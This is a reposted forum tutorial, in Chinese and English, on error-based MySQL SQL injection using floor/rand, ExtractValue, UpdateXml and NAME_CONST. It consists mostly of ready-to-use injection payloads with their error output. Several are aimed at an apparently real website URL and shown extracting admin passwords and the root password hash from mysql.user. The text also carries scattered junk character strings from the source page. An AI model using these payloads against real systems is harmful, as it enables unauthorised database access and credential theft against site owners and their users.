mysql ,floor,ExtractValue,UpdateXml三种报错模式注入利用方法

admin

1、通过floor报错

可以通过如下一些利用代码

and select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);

and (select count(*) from (select 1 union   select null union   select  !1)x group by concat((select table_name from information_schema.tables  limit 1),floor(rand(0)*2)));

举例如下：
; j' e" q' E3 ]2 t1 ^* L# L首先进行正常查询：

mysql> select * from article where id = 1;
+—-+——-+———+
| id | title | content |
' H' S: i. X" I2 ^+—-+——-+———+
|  1 | test  | do it   |
9 {- T: N. S6 p, t0 O* Z% W+—-+——-+———+

假如id输入存在注入的话，可以通过如下语句进行报错。

mysql> select * from article where id = 1 and (select 1 from  (select count(*),concat(version(),floor(rand(0)*2))x from  information_schema.tables group by x)a);
ERROR 1062 (23000): Duplicate entry ’5.1.33-community-log1′ for key ’group_key’

可以看到成功爆出了Mysql的版本，如果需要查询其他数据，可以通过修改version()所在位置语句进行查询。
4 p+ ]0 k( k# ?4 p$ _* ~2 f例如我们需要查询管理员用户名和密码：

Method1:

mysql> select * from article where id = 1 and (select 1 from  (select count(*),concat((select pass from admin where id  =1),floor(rand(0)*2))x from information_schema.tables group by x)a);
5 [3 Y$ H, j$ W* m, W% \ERROR 1062 (23000): Duplicate entry ’admin8881′ for key ’group_key’

Method2:

mysql> select * from article where id = 1 and (select count(*)  from (select 1 union   select null union   select !1)x group by  concat((select pass from admin limit 1),floor(rand(0)*2)));
ERROR 1062 (23000): Duplicate entry ’admin8881′ for key ’group_key’

2、ExtractValue
测试语句如下

and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));

实际测试过程

mysql> select * from article where id = 1 and extractvalue(1, concat(0x5c,(select pass from admin limit 1)));–
ERROR 1105 (HY000): XPATH syntax error: ’\admin888′

3、UpdateXml

测试语句

and 1=(updatexml(1,concat(0x3a,(select user())),1))

实际测试过程

mysql> select * from article where id = 1 and 1=(updatexml(0x3a,concat(1,(select user())),1))ERROR 1105 (HY000): XPATH syntax error: ’:root@localhost’

+ u5 {/ Z7 |2 y' G
2 \/ b! v4 s0 ^9 r

再收集：

http://www.baido.hk/qcwh/content/detail.php?id=330&sid=19&cid=261 and exists(select*from (select*from(select name_const(@@version,0))a join (select name_const(@@version,0))b)c)

8 Q* y/ O1 |  {" dErroruplicate column name ‘5.0.27-community-nt’Erroruplicate column name ‘5.0.27-community-nt’
1 Q4 E5 A  Z7 a6 h- T
http://www.baido.hk/qcwh/content/detail.php?id=330&sid=19&cid=261 and exists(select*from (select*from(select name_const((select concat(user,password) from mysql.user limit 0,1),0))a join (select name_const((select concat(user,password) from mysql.user limit 0,1),0))b)c)

Erroruplicate column name ‘root*B7B1A4F45D9E638FAEB750F0A99935634CFF6C82′Erroruplicate column name ‘root*B7B1A4F45D9E638FAEB750F0A99935634CFF6C82′
! F& d/ A' K! Y7 o  C
/ g( d8 f) u' J' ~* BMYSQL高版本报错注入技巧-利用NAME_CONST注入
It's been a while since I've made an SQL Injection tutorial, so I'd thought I should make a new tutorial using the method name_const. There's not many papers documenting this method, so it feels kind of good to be the one to make a guide for it.


, F6 V4 ^7 Z. r! Z" `) G- m; Y相关信息
% e- E7 \( n" e7 C$ [
NAME_CONST was added in MySQL 5.0.12, so it won't work on anything less than that.

Code:
NAME_CONST(DATA, VALUE)

Returns the given value. When used to produce a result set column, NAME_CONST() causes the column to have the given name. The arguments should be constants.

SELECT NAME_CONST('TEST', 1)
' D4 @5 k8 J: R0 i5 t


|---------------|
|     TEST      |
( ?1 [* p( V8 A; g9 n0 h" u+ w|               |
4 E9 c' b9 t. j|---------------|
7 X4 ]- f0 y  K% O|       1       |
|               |
, N, [1 K# s9 i9 x- \" m|---------------|
3 E0 I! U" F; z  R5 k
2 n  G4 d7 Q! o( D! h, l


http://dev.mysql.com/doc/refman/5.0/en/m...name-const
( J3 i: f  S) x# B' fIntro to MySQL Variables
$ _# V5 ~1 N6 o! B
Once you've got your vulnerable site, lets try getting some MySQL system variables using NAME_CONST.

; P# O1 }$ V1 B5 O3 UCode:
http://www.baido.hk/qcwh/content ... ;sid=19&cid=261




. s0 `/ U% d& l; S  s  r
Code:
# e% I8 H! S7 aand+1=(select+*+from+(select+NAME_CONST(VAR,1),NAME_CONST(VAR,1))+as+x)--


VAR = Your MySQL variable.

MySQL 5.1.3 Server System Variables

$ O% O+ M+ }! K9 L2 ~& k# ULet's try it out on my site..

Code:
: {# U1 \& _$ {http://www.baido.hk/qcwh/content/detail.php?id=330&sid=19&cid=261+and+1=(select+*+from+(select+NAME_CONST(version(),1),NAME_CONST(version(),1))+as+x)--
! [6 ^+ `8 Z( t1 P$ l9 U" O, q" n
Erroruplicate column name '5.0.27-community-nt'
- U: s% O9 {  B

' l; F) R7 j, h, j% T
4 r" g: d! Y; d- L3 g

Now I've tried a couple of sites, and I was getting invalid calls to NAME_CONST trying to extract data. Nothing was wrong with my syntax, just wouldn't work there. Luckily, they work here so let's get this going again...

1 L& [' o0 ?& Z  B+ W* F+ WData Extraction

/ H0 d4 N2 }' l. O, }' N# PCode:
. R4 K4 }! m0 v: Q! u3 \1 i/ e+and+1=(select+*+from+(select+NAME_CONST((select+DATA+limit+0,1),1),NAME_CONST((select+DATA+limit+0,1),1))+as+x)--


We should get a duplicate column 1 error...
' n$ X5 X. f) T& T* U
Code:
. @& X3 }  n$ r5 S$ [http://www.baido.hk/qcwh/content ... &cid=261+and+1=(select+*+from+(select+NAME_CONST((select+1+limit+0,1),1),NAME_CONST((select+1+limit+0,1),1))+as+x)--
2 K' W& \' Z% {: H" I
9 {. F* P  x$ V0 S- IErroruplicate column name '1

  i8 \3 Y& Z- _) E
4 }- P, A" d. `1 o


' b' H; ?, Y/ \7 S$ Z
Now let's get the tables out this bitch..
# z, S7 Q; l% G' \
3 [9 W0 F) @. ~: f: @( UCode:
+and+1=(select+*+from+(select+NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1),NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1))+as+x)--

* t' @6 a/ l. A6 q7 }, u: L
Let's see if it works here, if it does, we can go on and finish the job.
" O0 u5 z" f  t6 v2 W! p+ i
Code:
( N8 b/ C& q# n& w! U5 Ehttp://www.baido.hk/qcwh/content ... &cid=261+and+1=(select+*+from+(select+NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1),NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1))+as+x)--


7 t% I% y6 R- b+ z4 lErroruplicate column name 'com_admanage


' h; z8 K& A2 ^7 w" n
5 [9 a% m& T' }5 N
7 u9 O5 l, q/ y6 v
3 G) s: i+ g: w5 h8 I
Now I'm going to be lazy and use mysql.user as an example, just for the sake of time.

/ l- q/ K+ t, B; |( _; O. {Let's get the columns out of the user table..

Code:
+and+1=(select+*+from+(select+NAME_CONST((select+column_name+from+information_schema.columns+where+table_name=0xHEX_OF_TABLENAME+limit+0,1),1),NAME_CONST((select+column_name+from+information_schema.columns+where+table_name=0xHEX_OF_TABLENAME+limit+0,1),1))+as+x)--
# H' n. z: O. q. @$ |9 f' ^
- T* y( n3 J( {: R6 P, K& y
% A" Z9 e  L6 `8 V; J# V& kSo mine looks like this, and I get the duplicate column name 'Host'.
% Y8 p% r- a% V# W% N
9 a9 ^2 c" Z+ U( F1 N1 W9 eCode:
( Z+ I" n4 T1 I( J$ C& U' Lhttp://www.baido.hk/qcwh/content ... &cid=261+and+1=(select+*+from+(select+NAME_CONST((select+column_name+from+information_schema.columns+where+table_schema=0x6d7973716c+and+table_name=0x75736572+limit+0,1),1),NAME_CONST((select+column_name+from+information_schema.columns+where+table_schema=0x6d7973716c+and+table_name=0x75736572+limit+0,1),1))+as+x)--

Erroruplicate column name 'Host'
+ K( s" d$ f8 m  M* N


) I- j# H0 Q* q" A; q9 v& c
* _: z9 L! A. S6 V1 \
, f4 U4 j% }9 ]$ |! L1 f& k
Woot, time to finish this bitch off.
! k* p0 s  s9 u, o( g. x
Code:
+and+1=(select+*+from+(select+NAME_CONST((select+concat_ws(0x207e20,COLUMN1,COLUMN2)+from+TABLENAME+limit+0,1),1),NAME_CONST((select+concat_ws(0x207e20,COLUMN1,COLUMN2)+from+TABLENAME+limit+0,1),1))+as+x)--

; d/ u1 \. S$ D) t5 c5 d
" V$ X& v/ b; p' |So mine looks like this...

3 J+ ?3 b9 [; b" V3 \Code:
http://www.baido.hk /qcwh/content/detail.php?id=330&sid=19&cid=261+and+1=(select+*+from+(select+NAME_CONST((select+concat_ws(0x207e20,User,Password)+from+mysql.user+limit+0,1),1),NAME_CONST((select+concat_ws(0x207e20,User,Password)+from+mysql.user+limit+0,1),1))+as+x)--

Erroruplicate column name 'root ~ *B7B1A4F45D9E638FAEB750F0A99935634CFF6C82'
4 |4 x/ v2 i$ C8 W! B% ~& _6 J: u* `

; y. V" M7 ~& E2 \  Z# V+ e( P
/ Y" g- A5 ^3 X9 c$ P/ ]( M


, h0 i* F. N. T9 QAnd there we have it, thanks for reading.
" E: w; v! B7 X& r
2 x% ^+ k" B1 Z4 l* e1 g1 v& P7 R